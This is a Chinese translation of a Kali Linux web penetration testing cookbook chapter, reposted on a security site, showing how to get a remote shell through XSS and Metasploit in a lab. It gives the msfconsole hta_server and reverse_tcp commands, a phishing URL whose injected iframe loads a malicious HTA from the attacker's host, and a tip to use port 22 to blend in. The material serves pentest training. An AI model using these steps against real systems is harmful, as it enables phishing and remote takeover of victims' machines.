Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

admin 2022年7月13日09:26:49评论30 views字数 1551阅读5分10秒阅读模式

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt


Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

记红色的部分为今日更新内容。

第五章、使用跨站脚本攻击客户端 

5.0、介绍

5.1、使用浏览器绕过客户端控制

5.2、识别跨站脚本漏洞

5.3、利用XSS获取Cookie

5.4、利用DOM XSS

5.5、利用BeEF执行xss攻击

5.6、从Web存储中提取信息

5.7、使用ZAP测试WebSokets

5.8、使用XSS和Metasploit获取远程shell



5.8、使用XSS和Metasploit获取远程shell

在前几章中,我们知道了攻击者可以使用XSS提取用户信息凭证,然而,它的威力可不止于此,只要稍加一些社会工程学,攻击者就可以使用XSS来欺骗用户下载执行恶意文件,从而进一步控制主机和内网。

在本章节中,我们将学的使用XSS在目标计算机上远程执行命令。


环境准备

1. vm_1漏洞系统BodgeIt;

2. Windows7虚拟机;

 

实战演练

我们要做是用XSS使客户端的Windows7的浏览器打开并执行托管在Kali Linux上的恶意HTA文件。

1.  打开Metasploit控制台:

msfconsole

2. 启动后,使用以下命令加载exploit模块和payload:

use exploit/windows/misc/hta_server

set payload windows/shell/reverse_tcp

3. 设置server的监听端口为8880:

set srvport 8888

4. 设置本地监听端口为12345:

set lport 12345

show options

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell


5.现在我们运行exploit等待客户端连接:

run

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

注意服务器启动时给出的信息,Local IP给出了访问HTA文件的方式。(就像是:k0Pjsl1tz2cI3Mm.hta)

6.现在切换到Windows虚拟机,打开IE浏览器

7.假设攻击者发送了一封包含链接的钓鱼电子邮件,

http://192.168.56.11/bodgeit/search.jsp?q=t<iframe

src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe>

给受害者,在IE中打开它

8.如果你的骗人的手段足够高,就可以使得用户接受不安全警告下载执行恶意文件:

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

9.当提示运行、保存或者取消时,选择运行HTA文件

10.现在切换回Kali,你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了Shell连接。

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

11.在我们这个例子中,Metasploit建立的会话在2上,我们可以使用Session命令查看详细信息

12.使用session -i 2命令,你就会跳入Windows命令窗口下。执行ipconfig命令来查看受害者的IP信息

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

 

原理剖析

HTA是可以不受网页浏览器安全模式的限制来执行程序,它是一种HTML应用程序。

我们刚才使用Metasploit生成恶意的HTA文件并开启本地服务来托管它,我们的恶意文件包含一个 反向shell,反向shell是一个程序,当受害者执行它时,它将连接到攻击者的服务器,而不是在受害者中打开一个端口来等待连接传入,这也就是为什么它被称为反向连接的原因。当连接完成时,一个远程shell就建立好了。

在上面的例子中,我们使用8888作为服务器的监听端口,12345作为漏洞反向连接的监听端口,然而在实际的应用场景中,我们应该使用较为低的端口,这样可以较为安全,SSH的22端口就是个不错的选择。

 

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shellKali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell




原文始发于微信公众号(玄魂工作室):Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日09:26:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shellhttp://cn-sec.com/archives/782698.html

发表评论

匿名网友 填写信息